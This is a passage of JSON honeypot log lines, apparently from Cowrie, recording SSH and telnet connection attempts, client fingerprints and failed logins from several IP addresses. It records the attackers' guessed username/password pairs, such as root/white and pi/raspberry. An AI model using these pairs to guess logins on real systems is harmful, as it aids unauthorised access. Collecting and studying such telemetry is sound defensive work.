f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:09.038024Z","src_ip":"45.132.125.41","session":"0475d1edc640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"white","message":"login attempt [root/white] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:09.477745Z","src_ip":"45.132.125.41","session":"0475d1edc640","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":53620,"dst_ip":"10.17.0.5","dst_port":22,"session":"97ff04c82cbf","protocol":"ssh","message":"New connection: 103.75.183.219:53620 (10.17.0.5:22) [session: 97ff04c82cbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:09.874686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:09.879728Z","src_ip":"103.75.183.219","session":"97ff04c82cbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.127784Z","src_ip":"103.75.183.219","session":"97ff04c82cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38798,"dst_ip":"159.203.135.109","dst_port":22,"session":"f766cd763198","protocol":"ssh","message":"New connection: 176.65.132.129:38798 (159.203.135.109:22) [session: f766cd763198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.262460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.269889Z","src_ip":"176.65.132.129","session":"f766cd763198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.355860Z","src_ip":"176.65.132.129","session":"f766cd763198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.584399Z","src_ip":"45.132.125.41","session":"0475d1edc640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.607347Z","src_ip":"176.65.132.129","session":"f766cd763198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"202020","message":"login attempt [root/202020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:10.870753Z","src_ip":"103.75.183.219","session":"97ff04c82cbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:11.692101Z","src_ip":"176.65.132.129","session":"f766cd763198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:12.122361Z","src_ip":"103.75.183.219","session":"97ff04c82cbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38804,"dst_ip":"159.203.135.109","dst_port":22,"session":"b42f1c26777b","protocol":"ssh","message":"New connection: 176.65.132.129:38804 (159.203.135.109:22) [session: b42f1c26777b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:13.663103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:13.668099Z","src_ip":"176.65.132.129","session":"b42f1c26777b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:13.750665Z","src_ip":"176.65.132.129","session":"b42f1c26777b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:13.998634Z","src_ip":"176.65.132.129","session":"b42f1c26777b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:15.097620Z","src_ip":"176.65.132.129","session":"b42f1c26777b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48406,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce5d20ab3ca4","protocol":"telnet","message":"New connection: 152.42.224.71:48406 (10.17.0.5:23) [session: ce5d20ab3ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:15.433445Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":57460,"dst_ip":"10.17.0.5","dst_port":22,"session":"0489b5d85061","protocol":"ssh","message":"New connection: 45.162.8.14:57460 (10.17.0.5:22) [session: 0489b5d85061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:15.706879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:15.713655Z","src_ip":"45.162.8.14","session":"0489b5d85061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:15.834027Z","src_ip":"45.162.8.14","session":"0489b5d85061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radio","message":"login attempt [root/radio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:16.339271Z","src_ip":"45.162.8.14","session":"0489b5d85061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48682,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1dfb21a700","protocol":"ssh","message":"New connection: 176.65.132.129:48682 (159.203.135.109:22) [session: ec1dfb21a700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:16.872375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:16.878082Z","src_ip":"176.65.132.129","session":"ec1dfb21a700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:16.960891Z","src_ip":"176.65.132.129","session":"ec1dfb21a700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59324,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a803108f3c3","protocol":"ssh","message":"New connection: 80.94.92.184:59324 (10.17.0.5:22) [session: 6a803108f3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:17.076210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:17.203896Z","src_ip":"80.94.92.184","session":"6a803108f3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:17.208640Z","src_ip":"80.94.92.184","session":"6a803108f3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:17.217941Z","src_ip":"176.65.132.129","session":"ec1dfb21a700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:17.458752Z","src_ip":"45.162.8.14","session":"0489b5d85061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:18.302022Z","src_ip":"176.65.132.129","session":"ec1dfb21a700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:18.521863Z","src_ip":"80.94.92.184","session":"6a803108f3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.214","src_port":36329,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e677f94f0fc","protocol":"ssh","message":"New connection: 45.33.12.214:36329 (10.17.0.5:22) [session: 4e677f94f0fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:18.967021Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:19.786579Z","src_ip":"80.94.92.184","session":"6a803108f3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48696,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e99828772d","protocol":"ssh","message":"New connection: 176.65.132.129:48696 (159.203.135.109:22) [session: f1e99828772d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:20.135555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:20.156617Z","src_ip":"176.65.132.129","session":"f1e99828772d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:20.368073Z","src_ip":"176.65.132.129","session":"f1e99828772d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:20.641909Z","src_ip":"176.65.132.129","session":"f1e99828772d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39076,"dst_ip":"10.17.0.5","dst_port":23,"session":"a46012e06ce9","protocol":"telnet","message":"New connection: 152.42.224.71:39076 (10.17.0.5:23) [session: a46012e06ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:21.250895Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:21.731324Z","src_ip":"176.65.132.129","session":"f1e99828772d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":51092,"dst_ip":"10.17.0.5","dst_port":22,"session":"68d810d07f7c","protocol":"ssh","message":"New connection: 20.193.250.100:51092 (10.17.0.5:22) [session: 68d810d07f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:22.979282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:22.983745Z","src_ip":"20.193.250.100","session":"68d810d07f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:23.183720Z","src_ip":"20.193.250.100","session":"68d810d07f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48706,"dst_ip":"159.203.135.109","dst_port":22,"session":"b893551b83e6","protocol":"ssh","message":"New connection: 176.65.132.129:48706 (159.203.135.109:22) [session: b893551b83e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:37:23.525547Z"}
